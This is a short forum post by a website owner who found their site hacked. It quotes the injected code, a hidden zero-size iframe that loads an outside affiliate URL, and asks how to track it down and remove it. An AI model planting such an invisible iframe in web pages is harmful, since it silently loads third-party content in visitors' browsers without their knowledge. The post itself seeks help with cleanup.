Oh boy. I discovered this morning that my website has been hacked and I think this occured a few days ago and I just didn't notice it.
This is the code which is causing the heart ache:
<html><iframe width=0 height=0 frameborder=0 src=http://www.free20.com/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>
Problem is that I've checked the various files (index, header, sidebar, footer etc) and I can't find mention of this anywhere. Can someone recommend a way to get rid of this or at least tracking down WHERE it's hiding?
Any help would be MUCH appreciated.